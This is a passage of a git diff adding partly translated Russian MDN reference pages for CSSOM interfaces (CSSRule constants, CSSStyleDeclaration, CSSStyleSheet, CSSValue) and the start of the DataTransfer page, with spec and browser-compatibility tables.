+   <td>{{domxref("CSSDocumentRule")}} {{experimental_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.FONT_FEATURE_VALUES_RULE</code></td>
+   <td style="text-align: center;"><code>14</code></td>
+   <td>{{domxref("CSSFontFeatureValuesRule")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.VIEWPORT_RULE</code></td>
+   <td style="text-align: center;"><code>15</code></td>
+   <td>{{domxref("CSSViewportRule")}} {{experimental_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.REGION_STYLE_RULE</code></td>
+   <td style="text-align: center;"><code>16</code></td>
+   <td>{{domxref("CSSRegionStyleRule")}} {{experimental_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.UNKNOWN_RULE</code></td>
+   <td style="text-align: center;"><code>0</code></td>
+   <td>{{domxref("CSSUnknownRule")}} {{obsolete_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.CHARSET_RULE</code></td>
+   <td style="text-align: center;"><code>2</code></td>
+   <td><code>CSSCharsetRule</code> {{obsolete_inline}}</td>
+   <td>(Removed in most browsers.)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>An up-to-date informal list of constants can be found on the <a href="http://wiki.csswg.org/spec/cssom-constants">CSSWG Wiki</a>.</p>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM', '#css-rules', 'CSSRule')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td>Obsoleted values <code>CHARSET_RULE</code> and <code>UNKNOWN_RULE</code>. Added value <code>NAMESPACE_RULE</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Animations",'#interface-cssrule', 'CSSRule')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Added values <code>KEYFRAMES_RULE</code> and <code>KEYFRAME_RULE</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#om-fontfeaturevalues', 'CSSRule')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Added value <code>FONT_FEATURE_VALUES_RULE</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Counter Styles", "#extentions-to-cssrule-interface", 'CSSRule')}}</td>
+   <td>{{Spec2("CSS3 Counter Styles")}}</td>
+   <td>Added value <code>COUNTER_STYLE_RULE</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Conditional", '#extentions-to-cssrule-interface', 'CSSRule')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>Added value <code>SUPPORTS_RULE</code>. (<code>DOCUMENT_RULE</code> has been pushed to CSS Conditional Rules Level 4)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSRule', 'CSSRule')}}</td>
+   <td>{{Spec2('DOM2 Style')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>CSSKeyframesRule</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>20.0 [4]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>CSSCharsetRule</code></td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [3]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>CSSUnknownRule</code></td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>CSSKeyframesRule</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>20.0 [4]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>CSSCharsetRule</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [3]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+  <tr>
+   <td><code>CSSUnknownRule</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [2]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>CSSCharsetRule</code> was removed in Chrome version 41.0.</p>
+
+<p>[2] <code>CSSUnknownRule</code> was removed in Chrome version 45.0.</p>
+
+<p>[3] <code>CSSCharsetRule</code> was removed in Gecko version 40.</p>
+
+<p>[4] On Gecko, before Firefox 19, the keyframe-related constants existed only in their prefixed version: <code>CSSRule.MOZ_KEYFRAMES_RULE</code> and <code>CSSRule.MOZ_KEYFRAME_RULE.</code> From Firefox 20 onwards, both versions are available. The prefixed version will be removed in the future.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Using_dynamic_styling_information">Using dynamic styling information</a></li>
+</ul>
diff --git a/files/ru/web/api/cssstyledeclaration/getpropertyvalue/index.html b/files/ru/web/api/cssstyledeclaration/getpropertyvalue/index.html
new file mode 100644
index 0000000000..853bd5c215
--- /dev/null
+++ b/files/ru/web/api/cssstyledeclaration/getpropertyvalue/index.html
@@ -0,0 +1,114 @@
+---
+title: CSSStyleDeclaration.getPropertyValue()
+slug: Web/API/CSSStyleDeclaration/getPropertyValue
+translation_of: Web/API/CSSStyleDeclaration/getPropertyValue
+---
+<p>{{ APIRef("CSSOM") }}</p>
+
+<p><strong>CSSStyleDeclaration.getPropertyValue()</strong> интерфейс метода, который возвращает {{domxref('DOMString')}}, указанного CSS свойства.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>value</em> = <em>style</em>.getPropertyValue(<em>property</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><em><code>property</code></em> - это {{domxref('DOMString')}} представляющий имя свойства, которое должно быть обработано.</li>
+</ul>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<ul>
+ <li><code><em>value</em></code> - это {{domxref('DOMString')}} содержащий значение свойства. Если не задано, возвращается пустая строка.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий JavaScript код проверяет отмечен ли margin как important в CSS правиле селектора:</p>
+
+<pre class="brush: js">var declaration = document.styleSheets[0].rules[0].style;
+var value = declaration.getPropertyValue('margin'); // "1px 2px"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM', '#dom-cssstyledeclaration-getpropertyvalue', 'CSSStyleDeclaration.getPropertyValue()')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSStyleDeclaration')}}</td>
+   <td>{{Spec2('DOM2 Style')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><strong>Браузерная совместимость</strong></p>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <thead>
+  <tr>
+   <th scope="col">Feature</th>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox (Gecko)</th>
+   <th scope="col">Internet Explorer</th>
+   <th scope="col">Opera</th>
+   <th scope="col">Safari (WebKit)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/cssstyledeclaration/index.html b/files/ru/web/api/cssstyledeclaration/index.html
new file mode 100644
index 0000000000..b82c28990e
--- /dev/null
+++ b/files/ru/web/api/cssstyledeclaration/index.html
@@ -0,0 +1,103 @@
+---
+title: CSSStyleDeclaration
+slug: Web/API/CSSStyleDeclaration
+tags:
+  - API
+  - CSSOM
+  - Interface
+  - NeedsCompatTable
+  - NeedsMarkupWork
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/CSSStyleDeclaration
+---
+<p>{{ APIRef("CSSOM") }}</p>
+
+<p>Интерфейс <strong><code>CSSStyleDeclaration</code></strong> представляет объект, являющийся блоком объявления CSS, и предоставляет информацию о стиле и различные связанные со стилем методы и свойства.</p>
+
+<p>Объект <code>CSSStyleDeclaration</code> может быть представлен с помощью трех различных API:</p>
+
+<ul>
+ <li>Через {{domxref ("HTMLElement.style")}}, который имеет дело с встроенными стилями одного элемента (например, &lt;div style="..."&gt;).</li>
+ <li>Через API {{domxref("CSSStyleSheet")}}. Например, <code>document.styleSheets[0].cssRules[0].style</code> возвращает объект <code>CSSStyleDeclaration</code> для первого правила CSS в первой таблице стилей документа.</li>
+ <li>Через {{domxref ("Window.getComputedStyle ()")}}, который предоставляет объект <code>CSSStyleDeclaration</code> в качестве интерфейса только для чтения.</li>
+</ul>
+
+<h2 id="Аттрибуты">Аттрибуты</h2>
+
+<dl>
+ <dt>{{domxref("CSSStyleDeclaration.cssText")}}</dt>
+ <dd>Текстовое представление блока объявления. Установка этого атрибута изменяет стиль.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.length")}} {{readonlyInline}}</dt>
+ <dd>Количество свойств. Смотри ниже метод {{domxref("CSSStyleDeclaration.item()", 'item()')}} .</dd>
+ <dt>{{domxref("CSSStyleDeclaration.parentRule")}} {{readonlyInline}}</dt>
+ <dd>Содержащееся {{domxref("CSSRule")}}.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("CSSStyleDeclaration.getPropertyPriority()")}}</dt>
+ <dd>Возвращает необязательный приоритет "important".</dd>
+ <dt>{{domxref("CSSStyleDeclaration.getPropertyValue()")}}</dt>
+ <dd>Возвращает значение свойства, заданное именем свойства.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.item()")}}</dt>
+ <dd>Возвращает имя свойства.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.removeProperty()")}}</dt>
+ <dd>Удаляет свойство из блока объявления CSS.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.setProperty()")}}</dt>
+ <dd>Изменяет существующее свойство CSS или создает новое свойство CSS в блоке объявления.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.getPropertyCSSValue()")}} {{obsolete_inline}}</dt>
+ <dd>Поддерживается только через getComputedStyle в Firefox. Возвращает значение свойства в виде {{ domxref ("CSSPrimitiveValue")}} или <code>null</code> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">для сокращенных свойств.</a></dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">var styleObj = document.styleSheets[0].cssRules[0].style;
+console.log(styleObj.cssText);
+
+for (var i = styleObj.length; i--;) {
+  var nameString = styleObj[i];
+  styleObj.removeProperty(nameString);
+}
+
+console.log(styleObj.cssText);</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM', '#the-cssstyledeclaration-interface', 'CSSStyleDeclaration')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSPrimitiveValue')}}</td>
+   <td>{{Spec2('DOM2 Style')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">DOM CSS Properties</a></li>
+</ul>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.CSSStyleDeclaration")}}</p>
diff --git a/files/ru/web/api/cssstylesheet/index.html b/files/ru/web/api/cssstylesheet/index.html
new file mode 100644
index 0000000000..1b2da99134
--- /dev/null
+++ b/files/ru/web/api/cssstylesheet/index.html
@@ -0,0 +1,133 @@
+---
+title: CSSStyleSheet
+slug: Web/API/CSSStyleSheet
+translation_of: Web/API/CSSStyleSheet
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p><strong><code>CSSStyleSheet</code></strong> interface представляет одну <a href="/en-US/docs/Web/CSS">CSS</a> таблицу стилей. CSS таблица наследует свойства и методы от родителя, {{domxref("StyleSheet")}}.</p>
+
+<p>Таблица стилей состоит (правил)<em>{{domxref("CSSRule", "rules", "", 1)}}</em>, таких как <em>{{domxref("CSSStyleRule", "style rules", "", 1)}}</em><em> </em>("<code>h1,h2 { font-size: 16pt }"</code>),<em>и различных</em> (<code>@import</code>, <code>@media</code>, ...), etc. <strong><code>CSSStyleSheet</code></strong> interface позволяет получать и изменять список правил в таблице стилей.</p>
+
+<p>Смотрите {{anch("Notes")}} секцию о  различных способах получения <strong><code>CSSStyleSheet</code></strong> object.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("StyleSheet")}}.</em></p>
+
+<dl>
+ <dt id="cssRules">{{domxref("CSSStyleSheet.cssRules")}}</dt>
+ <dd>Returns a live {{domxref("CSSRuleList")}}, listing the {{domxref("CSSRule")}} objects in the style sheet.<br>
+ This is normally used to access individual rules like this:
+ <pre><code>   styleSheet.cssRules[i] // where i = 0..cssRules.length-1</code></pre>
+ To add or remove items in <code>cssRules</code>, use the <code>CSSStyleSheet</code>'s <code>deleteRule()</code> and <code>insertRule()</code> methods, described below.</dd>
+ <dt id="ownerRule">{{domxref("CSSStyleSheet.ownerRule")}}</dt>
+ <dd>If this style sheet is imported into the document using an {{cssxref("@import")}} rule, the <code>ownerRule</code> property will return that {{domxref("CSSImportRule")}}, otherwise it returns <code>null</code>.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("Stylesheet")}}.</em></p>
+
+<dl>
+ <dt id="deleteRule">{{domxref("CSSStyleSheet.deleteRule()")}}</dt>
+ <dd>Deletes a rule at the specified position from the style sheet.</dd>
+ <dt id="insertRule">{{domxref("CSSStyleSheet.insertRule()")}}</dt>
+ <dd>Inserts a new rule at the specified position in the style sheet, given the textual representation of the rule.</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<p>In some browsers, if a stylesheet is loaded from a different domain, calling <code>cssRules</code> results in <code>SecurityError</code>.</p>
+
+<p>A stylesheet is associated with at most one {{domxref("Document")}}, which it applies to (unless {{domxref("StyleSheet.disabled", "disabled", "", 1)}}). A list of <code>CSSStyleSheet</code> objects for a given document can be obtained using the {{domxref("document.styleSheets")}} property. A specific style sheet can also be accessed from its <em>owner</em> object (<code>Node</code> or <code>CSSImportRule</code>), if any.</p>
+
+<p>A <code>CSSStyleSheet</code> object is created and inserted into the document's <code>styleSheets</code> list automatically by the browser, when a style sheet is loaded for a document. As the {{domxref("document.styleSheets")}} list cannot be modified directly, there's no useful way to create a new <code>CSSStyleSheet</code> object manually (although <a href="https://wicg.github.io/construct-stylesheets/">Constructable Stylesheet Objects</a> is coming to the web platform soon and is already supported in Blink). To create a new stylesheet, insert a {{HTMLElement("style")}} or {{HTMLElement("link")}} element into the document.</p>
+
+<p>A (possibly incomplete) list of ways a style sheet can be associated with a document follows:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Reason for the style sheet to be associated with the document</th>
+   <th scope="col">Appears in <code>document.<br>
+    styleSheets</code> list</th>
+   <th scope="col">Getting the owner element/rule given the style sheet object</th>
+   <th scope="col">The interface for the owner object</th>
+   <th scope="col">Getting the CSSStyleSheet object from the owner</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("style")}} and {{HTMLElement("link")}} elements in the document</td>
+   <td>Yes</td>
+   <td>{{domxref("StyleSheet.ownerNode", ".ownerNode")}}</td>
+   <td>{{domxref("HTMLLinkElement")}},<br>
+    {{domxref("HTMLStyleElement")}},<br>
+    or {{domxref("SVGStyleElement")}}</td>
+   <td>{{domxref("LinkStyle.sheet", ".sheet")}}</td>
+  </tr>
+  <tr>
+   <td>CSS {{cssxref("@import")}} rule in other style sheets applied to the document</td>
+   <td>Yes</td>
+   <td>{{domxref("CSSStyleSheet.ownerRule", ".ownerRule")}}</td>
+   <td>{{domxref("CSSImportRule")}}</td>
+   <td>{{domxref("CSSImportRule.styleSheet", ".styleSheet")}}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;?xml-stylesheet ?&gt;</code> processing instruction in the (non-HTML) document</td>
+   <td>Yes</td>
+   <td>{{domxref("StyleSheet.ownerNode", ".ownerNode")}}</td>
+   <td>{{domxref("ProcessingInstruction")}}</td>
+   <td>{{domxref("LinkStyle.sheet", ".sheet")}}</td>
+  </tr>
+  <tr>
+   <td>HTTP Link Header</td>
+   <td>Yes</td>
+   <td><em>N/A</em></td>
+   <td>N/A</td>
+   <td>N/A</td>
+  </tr>
+  <tr>
+   <td>User agent (default) style sheets</td>
+   <td>No</td>
+   <td>N/A</td>
+   <td>N/A</td>
+   <td>N/A</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM", "#cssstylesheet", 'CSSStyleSheet')}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Style", "css.html#CSS-CSSStyleSheet", "CSSStyleSheet")}}</td>
+   <td>{{Spec2("DOM2 Style")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.CSSStyleSheet")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/CSS_Object_Model/Using_dynamic_styling_information">Using dynamic styling information</a></li>
+</ul>
diff --git a/files/ru/web/api/cssvalue/index.html b/files/ru/web/api/cssvalue/index.html
new file mode 100644
index 0000000000..168f152849
--- /dev/null
+++ b/files/ru/web/api/cssvalue/index.html
@@ -0,0 +1,74 @@
+---
+title: CSSValue
+slug: Web/API/CSSValue
+translation_of: Web/API/CSSValue
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Интерфейс <code><strong>CSSValue</strong></code> возвращает текущее вычсленное значение CSS-свойства. </p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("CSSValue.cssText")}}</dt>
+ <dd>{{domxref("DOMString")}} возвращает текущее значение.</dd>
+ <dt>{{domxref("CSSValue.cssValueType")}} {{readonlyInline}}</dt>
+ <dd>An <code>unsigned short</code> representing a code defining the type of the value. Возможные значения:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Константа</td>
+    <td class="header">Описание</td>
+   </tr>
+   <tr>
+    <td><code>CSS_CUSTOM</code></td>
+    <td>The value is a custom value.</td>
+   </tr>
+   <tr>
+    <td><code>CSS_INHERIT</code></td>
+    <td>Значение унаследовано и <code>cssText</code> содержит <code>"inherit"</code>.</td>
+   </tr>
+   <tr>
+    <td><code>CSS_PRIMITIVE_VALUE</code></td>
+    <td>The value is a primitive value and an instance of the {{domxref("CSSPrimitiveValue")}} interface can be obtained by using binding-specific casting methods on this instance of the <code>CSSValue</code> interface.</td>
+   </tr>
+   <tr>
+    <td><code>CSS_VALUE_LIST</code></td>
+    <td>The value is a <code>CSSValue</code> list and an instance of the {{domxref("CSSValueList")}} interface can be obtained by using binding-specific casting methods on this instance of the <code>CSSValue</code> interface.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSValue', 'CSSValue')}}</td>
+   <td>{{Spec2('DOM2 Style')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.CSSValue")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("CSSPrimitiveValue")}}</li>
+ <li>{{domxref("CSSValueList")}}</li>
+</ul>
diff --git a/files/ru/web/api/datatransfer/index.html b/files/ru/web/api/datatransfer/index.html
new file mode 100644
index 0000000000..e811476965
--- /dev/null
+++ b/files/ru/web/api/datatransfer/index.html
@@ -0,0 +1,383 @@
+---
+title: DataTransfer
+slug: Web/API/DataTransfer
+tags:
+  - API
+translation_of: Web/API/DataTransfer
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>{{ gecko_minversion_header("1.9") }} Объект <strong>DataTransfer</strong> используется для хранения данных, перетаскиваемых мышью во время операции <strong>drag and drop</strong>. Он может хранить от одного до нескольких элементов данных, вне зависимости от их типа. Для получения доп. информации об операции drag and drop, см. <a href="/En/DragDrop/Drag_and_Drop">Drag and Drop</a></p>
+
+<p>Объект может быть получен из свойства <strong>dataTransfer</strong> всех событий перетаскивания. Он не может быть отдельно создан.</p>
+
+<h2 id="Properties" name="Properties">Список свойств</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Свойство</td>
+   <td class="header">Тип</td>
+  </tr>
+  <tr>
+   <td><code><a href="#dropEffect.28.29" title="En/DragDrop/DataTransfer#dropEffect">dropEffect</a></code></td>
+   <td><code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String" title="en/String">String</a></code></td>
+  </tr>
+  <tr>
+   <td><code><a href="#effectAllowed.28.29" title="En/DragDrop/DataTransfer#effectAllowed">effectAllowed</a></code></td>
+   <td><code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String" title="en/String">String</a></code></td>
+  </tr>
+  <tr>
+   <td><a href="#files.28.29" title="En/DragDrop/DataTransfer#files"><code>files</code></a> {{ gecko_minversion_inline("1.9.2") }}</td>
+   <td>{{ domxref("FileList") }}</td>
+  </tr>
+  <tr>
+   <td><code><a href="#mozCursor" title="En/DragDrop/DataTransfer#mozCursor">mozCursor</a></code> {{ non-standard_inline() }} {{ gecko_minversion_inline("1.9.1") }}</td>
+   <td><code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String" title="en/String">String</a></code></td>
+  </tr>
+  <tr>
+   <td><code><a href="#mozItemCount.28.29" title="En/DragDrop/DataTransfer#mozItemCount">mozItemCount</a></code> {{ non-standard_inline() }}</td>
+   <td><code>unsigned long</code></td>
+  </tr>
+  <tr>
+   <td><a href="#mozSourceNode" title="En/DragDrop/DataTransfer#mozSourceNode"><code>mozSourceNode</code></a> {{ non-standard_inline() }} {{ gecko_minversion_inline("2") }}</td>
+   <td>{{ domxref("Node") }}</td>
+  </tr>
+  <tr>
+   <td><a href="#mozUserCancelled" title="En/DragDrop/DataTransfer#mozUserCancelled"><code>mozUserCancelled</code></a></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Boolean" title="en/Core JavaScript 1.5 Reference/Global Objects/Boolean"><code>Boolean</code></a></td>
+  </tr>
+  <tr>
+   <td><code><a href="#types.28.29" title="En/DragDrop/DataTransfer#types">types</a></code></td>
+   <td><code><a href="/en-US/docs/Web/API/DOMStringList" title="en-US/docs/Web/API/DOMStringList">DOMStringList</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Method_overview" name="Method_overview">Список методов</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#addElement.28.29">addElement</a>(in <a href="/en/XPCOM_Interface_Reference/nsIDOMElement" title="en/nsIDOMElement">Element</a> element)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#clearData.28.29">clearData</a>([in <a href="/en/String" title="en/String">String</a> type])</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/String" title="en/String">String</a> <a href="#getData.28.29">getData</a>(in <a href="/en/String" title="en/String">String</a> type)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#setData.28.29">setData</a>(in <a href="/en/String" title="en/String">String</a> type, in <a href="/en/String" title="en/String">String</a> data)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#setDragImage.28.29">setDragImage</a>(in <a href="/en/XPCOM_Interface_Reference/nsIDOMElement" title="en/nsIDOMElement">nsIDOMElement</a> image, in long x, in long y)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#mozClearDataAt.28.29">mozClearDataAt</a>([in <a href="/en/String" title="en/String">String</a> type, in unsigned long index])</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/XPCOM_Interface_Reference/NsIVariant" title="en/nsIVariant">nsIVariant</a> <a href="#mozGetDataAt.28.29">mozGetDataAt</a>(in <a href="/en/String" title="en/String">String</a> type, in unsigned long index)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#mozSetDataAt.28.29">mozSetDataAt</a>(in <a href="/en/String" title="en/String">String</a> type, in <a href="/en/XPCOM_Interface_Reference/NsIVariant" title="en/nsIVariant">nsIVariant</a> data, in unsigned long index)</code></td>
+  </tr>
+  <tr>
